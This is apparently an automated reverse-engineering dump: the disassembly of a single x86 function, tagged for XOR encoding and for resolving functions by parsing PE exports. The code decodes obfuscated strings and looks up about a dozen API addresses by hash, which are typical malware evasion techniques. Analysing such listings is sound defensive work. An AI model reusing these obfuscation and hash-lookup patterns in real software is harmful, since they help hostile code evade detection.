Function at 0x40ab20
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x44c1fc]
mov dword [esp], eax
mov dword [esp + 0x10], 0x937b910f
mov dword [esp + 0x14], 0x9f749d04
mov dword [esp + 0x18], 0x9b049902
mov dword [esp + 0x1c], 0x8752850a
mov dword [esp + 0x20], 0x8314816a
mov dword [esp + 0x24], 0x8f8c8d16
mov dword [esp + 0x28], 0
mov byte [esp + 0x2c], 0
xor edx, edx
mov ecx, 0xffffffff
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 0x10]
mov ebx, ecx
or ebx, 0x335db143
mov esi, edx
and esi, 0x1c
xor esi, 0xbc
mov eax, edx
or eax, 0x335db143
add eax, ebx
add eax, edx
inc eax
sub esi, ebx
add esi, ecx
xor esi, eax
and esi, edi
xor esi, eax
mov ebx, eax
and ebx, edi
mov eax, ebx
mov edi, ebx
or edi, 0xfffffffd
inc edi
and eax, 0xfffffffd
imul eax, edi
mov edi, ebx
lea esi, [esi + ebx*2]
and edi, 2
or ebx, 2
imul ebx, edi
sub esi, ebx
add esi, eax
mov dword [esp + 0x114], esi
mov eax, dword [esp + 0x114]
add al, 0x2b
mov byte [esp + edx + 0x10], al
inc edx
dec ecx
cmp edx, 0x1d
jne 0x40ab80
lea edi, [esp + 0x10]
push 0x800
push 0
push edi
call dword [esp + 0xc]
mov ecx, 0x44c1c4
push eax
call fcn.0043d3b0
xor ebx, ebx
test al, al
je 0x40b36e
push 0xd16c9e6b
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1cc], eax
push 0x2b39326b
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1d0], eax
push 0x20eddf4
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1d4], eax
push 0x6f420210
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1d8], eax
push 0xbb4ac2a9
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1dc], eax
push 0xe03c21ff
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1e0], eax
push 0xb35fc6e6
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1e4], eax
push 0xe3a9b6db
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1e8], eax
push 0xe81e9fc0
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1ec], eax
push 0x70f53c13
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1f0], eax
push 0xb54b293a
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1f4], eax
push 0x9b73555b
push dword [0x44c1c4]
call fcn.0043f840
add esp, 8
mov dword [0x44c1f8], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [esp + 0x114]
push eax
push dword [ebx + 0x4445ec]
call fcn.004389a0
add esp, 8
lea esi, [esp + 0x113]
nop
nop
nop
cmp byte [esi + 1], 0
lea esi, [esi + 1]
jne 0x40ad60
mov dword [esp + 8], 0
mov eax, edi
lea ecx, [esp + 0x114]
cmp ecx, esi
jae 0x40addd
mov dword [esp], ebx
xor ebx, ebx
lea edi, [esp + 0x114]
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x40add0
lea eax, [esp + 8]
push eax
push esi
push edi
call fcn.0040d6e0
add esp, 0xc
movzx edx, word [esp + 8]
lea ecx, [ebx + 2]
mov word [esp + ebx + 0x10], dx
cmp ebx, 0xfb
ja 0x40adc1
add edi, eax
mov ebx, ecx
cmp edi, esi
jb 0x40ad90
lea eax, [esp + ecx]
add eax, 0x10
jmp 0x40add6
lea eax, [esp + ebx]
add eax, 0x10
mov ebx, dword [esp]
lea edi, [esp + 0x10]
mov word [eax], 0
push edi
call fcn.0040b390
add esp, 4
test al, al
jne 0x40b106
add ebx, 4
cmp ebx, 0x24
jne 0x40ad40
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [esp + 4], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x73866d84
mov dword [esp + 0x14], 0x77867184
mov dword [esp + 0x18], 0x7b447583
mov dword [esp + 0x1c], 0x7f4d794b
mov dword [esp + 0x20], 0x3f67d8b
mov dword [esp + 0x24], 0x7e701e5
mov dword [esp + 0x28], 0xbed05e9
mov dword [esp + 0x2c], 0xfe309fb
mov dword [esp + 0x30], 0x13e70de1
mov dword [esp + 0x34], 0x17ff11e2
mov dword [esp + 0x38], 0x1be315e0
mov dword [esp + 0x3c], 0x1ff9192a
mov dword [esp + 0x40], 0x23cf1def
mov dword [esp + 0x44], 0x27d62113
mov dword [esp + 0x48], 0x2bd925d2
mov dword [esp + 0x4c], 0x2fc729c2
mov dword [esp + 0x50], 0x33d72dc0
mov dword [esp + 0x54], 0x370531c7
mov dword [esp + 0x58], 0x3b00350f
mov dword [esp + 0x5c], 0x3f04390d
mov dword [esp + 0x60], 0xc3f33d0d
mov dword [esp + 0x64], 0xc7ffc1f9
mov dword [esp + 0x68], 0xcbfcc5ff
mov dword [esp + 0x6c], 0xcff9c9fc
mov dword [esp + 0x70], 0xd3e3cdfb
mov dword [esp + 0x74], 0xd7e6d1e9
mov dword [esp + 0x78], 0xdbdad5e4
mov dword [esp + 0x80], 0
mov dword [esp + 0x7c], 0
mov eax, 0xfe7582ae
mov esi, 0x7d51
nop
nop
nop
nop
mov dword [esp], esi
movzx edx, byte [esp + eax + 0x18a7d62]
lea ebx, [edx + edx]
not ebx
add ebx, edx
mov edi, ebx
and edi, 0x46063ce
mov ecx, edx
xor ecx, 0x46063ce
or edx, 0x31
and edx, ecx
mov ecx, esi
and ecx, 0x61ce
mov esi, eax
and esi, 0xfa158031
or esi, ecx
lea ecx, [edi + edi]
not ecx
add ecx, edi
xor ebx, 0x4606142
and ebx, edi
and ecx, 0x8ffde173
or ecx, ebx
xor ecx, edx
xor ecx, 0x8ffde173
and edx, edi
or edx, ecx
mov ecx, edx
and ecx, esi
add edx, esi
mov edi, edx
not edi
lea ecx, [edi + ecx*2]
and ecx, esi
mov edi, ecx
and edi, 0xfa15e1fd
mov esi, ecx
or esi, 0xfffffffd
inc esi
imul esi, edi
mov edi, ecx
and edi, 2
or ecx, 2
imul ecx, edi
sub esi, ecx
add esi, edx
mov dword [esp + 0x114], esi
mov esi, dword [esp]
mov ecx, dword [esp + 0x114]
add cl, 0x3e
mov byte [esp + eax + 0x18a7d62], cl
inc eax
dec esi
cmp eax, 0xfe758322
jne 0x40af10
lea eax, [esp + 0xc]
lea ecx, [esp + 4]
lea edi, [esp + 0x10]
push eax
push ecx
push edi
call fcn.0040bd60
add esp, 0xc
xor ebx, ebx
test al, al
je 0x40b36e
mov dword [esp + 0x10], 0xd8c8cc2a
mov dword [esp + 0x14], 0xc3d91dc4
mov dword [esp + 0x18], 0x3cc5c4dd
mov dword [esp + 0x1c], 0xc3d1d610
mov dword [esp + 0x20], 0xeaf4eac1
mov dword [esp + 0x24], 0xfafeeafa
mov dword [esp + 0x28], 0xe2e3ffff
mov dword [esp + 0x2c], 0xe0fbe6fc
mov word [esp + 0x30], 0x1724
mov byte [esp + 0x32], 0x58
mov dword [esp + 0x33], 0
mov byte [esp + 0x37], 0
nop
nop
nop
movzx ecx, byte [esp + ebx + 0x10]
mov esi, ebx
and esi, 0xd
lea edx, [esi + 2]
mov eax, ebx
and eax, 2
imul edx, eax
xor eax, 2
imul eax, esi
mov esi, ebx
xor esi, 0x687c8c4f
add eax, esi
add eax, edx
mov edx, eax
or edx, ecx
add eax, ecx
not eax
add eax, edx
and eax, edx
mov dword [esp + 0x114], eax
mov ecx, dword [esp + 0x114]
mov esi, ecx
not esi
mov eax, ecx
or eax, 0x249829d6
mov edx, ecx
xor edx, 0xd6
add edx, esi
and esi, 0xd6
sub edx, esi
xor ecx, 0x29
mov esi, eax
not esi
or esi, ecx
and edx, eax
add esi, eax
lea eax, [edx + esi*2]
add al, 3
mov byte [esp + ebx + 0x10], al
inc ebx
cmp ebx, 0x28
jne 0x40b040
mov ecx, dword [esp + 4]
movzx ebx, byte [esp + 0x10]
mov dword [esp], ecx
test bl, bl
je 0x40b154
mov edx, edi
mov esi, ecx
mov dword [esp], ecx
jmp 0x40b0e7
movzx ebx, byte [edx]
test bl, bl
je 0x40b154
mov bh, byte [esi]
test bh, bh
je 0x40b363
inc esi
inc edx
mov eax, dword [esp]
inc eax
cmp bh, bl
je 0x40b100
mov dword [esp], eax
mov esi, eax
je 0x40b0e0
mov edx, edi
jmp 0x40b0e0
movzx eax, word [esp + 0x10]
test ax, ax
je 0x40b144
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x44c1fe], ax
movzx eax, word [esp + ecx + 0x10]
add ecx, 2
test ax, ax
jne 0x40b120
mov word [ecx + 0x44c1fe], 0
mov bl, 1
jmp 0x40b36e
mov word [0x44c200], 0
mov bl, 1
jmp 0x40b36e
cmp dword [esp], 0
je 0x40b363
mov dword [esp + 0x10], 0xbbb57e48
mov dword [esp + 0x14], 0x1754bba9
mov dword [esp + 0x18], 0
mov ecx, 0x2a
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x1a]
mov edx, ecx
and edx, esi
mov eax, edx
or eax, 0xfffffffd
inc eax
mov edi, edx
and edi, 0x3d
imul edi, eax
mov eax, edx
and eax, 2
or edx, 2
imul edx, eax
add edi, esi
sub edi, edx
lea eax, [ecx + edi]
add eax, 0xbb272800
mov dword [esp + 0x114], eax
mov eax, dword [esp + 0x114]
add al, 0xda
mov byte [esp + ecx - 0x1a], al
inc ecx
cmp ecx, 0x36
jne 0x40b180
movzx ebx, byte [esp + 0x10]
mov ecx, dword [esp]
test bl, bl
je 0x40b214
lea edx, [esp + 0x10]
mov esi, edx
mov ecx, dword [esp]
mov edi, ecx
jmp 0x40b1f7
movzx ebx, byte [esi]
test bl, bl
je 0x40b214
mov bh, byte [edi]
test bh, bh
je 0x40b35f
inc edi
inc esi
lea eax, [ecx + 1]
cmp bh, bl
je 0x40b20e
mov ecx, eax
mov edi, eax
je 0x40b1f0
mov esi, edx
jmp 0x40b1f0
test ecx, ecx
je 0x40b35f
mov byte [ecx], 0
mov edi, 0xffffffff
mov esi, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + edi + 0x23], 0
lea edi, [edi + 1]
jne 0x40b230
test edi, edi
je 0x40b29d
xor edx, edx
jmp 0x40b25c
mov byte [esp + edx + 0x114], bl
inc edx
cmp edi, edx
je 0x40b29d
movzx ebx, byte [esi + edx + 0x22]
mov eax, ebx
add al, 0x9f
cmp al, 0x19
ja 0x40b250
mov eax, ebx
xor al, 0x9e
add bl, bl
and bl, 0x3c
add bl, al
add bl, 0x10
movsx eax, bl
imul eax, eax, 0x4f
movzx ecx, ax
shr eax, 0xb
shr ecx, 0xf
add cl, al
movzx ecx, cl
lea esi, [ecx + ecx*4]
lea eax, [esi + esi*4]
mov esi, dword [esp]
add eax, ecx
sub bl, al
add bl, 0x61
jmp 0x40b250
mov byte [esp + edi + 0x114], 0
lea ebx, [esp + 0x113]
nop
nop
nop
nop
cmp byte [ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x40b2b0
mov dword [esp + 8], 0
lea ecx, [esp + 0x10]
lea esi, [esp + 0x114]
mov eax, ecx
cmp esi, ebx
jae 0x40b314
xor edi, edi
cmp byte [esi], 0
je 0x40b30a
lea eax, [esp + 8]
push eax
push ebx
push esi
call fcn.0040d6e0
add esp, 0xc
movzx edx, word [esp + 8]
lea ecx, [edi + 2]
mov word [esp + edi + 0x10], dx
cmp edi, 0x7b
ja 0x40b302
add esi, eax
mov edi, ecx
cmp esi, ebx
jb 0x40b2d4
lea eax, [esp + ecx]
add eax, 0x10
jmp 0x40b310
lea eax, [esp + edi]
add eax, 0x10
lea ecx, [esp + 0x10]
mov word [eax], 0
push ecx
call fcn.0040b390
add esp, 4
test al, al
je 0x40b35f
movzx eax, word [esp + 0x10]
test ax, ax
je 0x40b378
mov ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + 0x44c1fe], ax
movzx eax, word [esp + ecx + 0x10]
add ecx, 2
test ax, ax
jne 0x40b340
mov word [ecx + 0x44c1fe], 0
jmp 0x40b381
mov ecx, dword [esp + 4]
xor ebx, ebx
push ecx
call fcn.0043be60
add esp, 4
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov word [0x44c200], 0
mov bl, 1
mov ecx, dword [esp + 4]
jmp 0x40b365